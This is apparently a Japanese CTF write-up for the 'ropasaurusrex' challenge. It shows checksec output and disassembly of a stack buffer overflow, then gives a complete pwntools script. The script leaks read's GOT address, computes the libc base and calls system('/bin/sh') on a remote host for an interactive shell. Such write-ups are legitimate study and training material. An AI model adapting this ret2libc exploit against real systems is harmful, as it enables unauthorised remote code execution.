binary読んだり脆弱性探したりする必要がなく単にropするだけなのでとても楽。

ropasaurusrex

$ file ropasaurusrex
ropasaurusrex: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=96997aacd6ee7889b99dc156d83c9d205eb58092, stripped

$ checksec --file ropasaurusrex
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   ropasaurusrex

xinetd型。relro無し。canary無し。libcは与えられる。

$ ll ropasaurusrex
-rwxr-xr-x 1 user user 2948 Apr 22  2013 ropasaurusrex

コードはとても短かくて、実質以下のふたつの関数のみからなる。

080483f4 <bof>:
 80483f4:       55                      push   ebp
 80483f5:       89 e5                   mov    ebp,esp
 80483f7:       81 ec 98 00 00 00       sub    esp,0x98
 80483fd:       c7 44 24 08 00 01 00    mov    DWORD PTR [esp+0x8],0x100
 8048404:       00 
 8048405:       8d 85 78 ff ff ff       lea    eax,[ebp-0x88]
 804840b:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 804840f:       c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
 8048416:       e8 11 ff ff ff          call   804832c <read@plt>
 804841b:       c9                      leave  
 804841c:       c3                      ret    

0804841d <main>:
 804841d:       55                      push   ebp
 804841e:       89 e5                   mov    ebp,esp
 8048420:       83 e4 f0                and    esp,0xfffffff0
 8048423:       83 ec 10                sub    esp,0x10
 8048426:       e8 c9 ff ff ff          call   80483f4 <bof>
 804842b:       c7 44 24 08 04 00 00    mov    DWORD PTR [esp+0x8],0x4
 8048432:       00 
 8048433:       c7 44 24 04 10 85 04    mov    DWORD PTR [esp+0x4],0x8048510 # "WIN\n"
 804843a:       08 
 804843b:       c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 8048442:       e8 c5 fe ff ff          call   804830c <write@plt>
 8048447:       c9                      leave  
 8048448:       c3                      ret    

攻撃

普通にropする。readのアドレスをwriteして脆弱性のある関数を呼び出し、得られたreadのアドレスからsystem"/bin/sh"を計算し、再度ropしこれを呼ぶ。

実装

objdump -R ropasaurusrex | grep readとかして出てきたアドレスをコピペして即値として使ってたらコピペミスが発生したので、ちゃんとpwnlibの機能を使いました。

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('host')
parser.add_argument('port', type=int)
args = parser.parse_args()

elf = ELF('./ropasaurusrex')
if args.host == 'localhost':
    libc = ELF('/usr/lib32/libc.so.6')
else:
    libc = ELF('./libc.so.6')

bof = 0x80483f4 # the vulnerable function
buffer_len = 0x88

context.log_level = 'debug'
p = remote(args.host, args.port)

payload = ''
payload += 'A' * buffer_len
payload += 'AAAA' # saved ebp
payload += p32(elf.symbols['write'])
payload += p32(bof)
payload += p32(1) # stdout
payload += p32(elf.got['read'])
payload += p32(4) # len
p.send(payload)
resp = p.recvn(4)
read = u32(resp)
libc_base = read - libc.symbols['read']

payload = ''
payload += 'A' * buffer_len
payload += 'AAAA' # saved ebp
payload += p32(libc_base + libc.symbols['system'])
payload += 'AAAA' # cont
payload += p32(libc_base + next(libc.search('/bin/sh')))
p.send(payload)

p.sendline('ls')
p.interactive()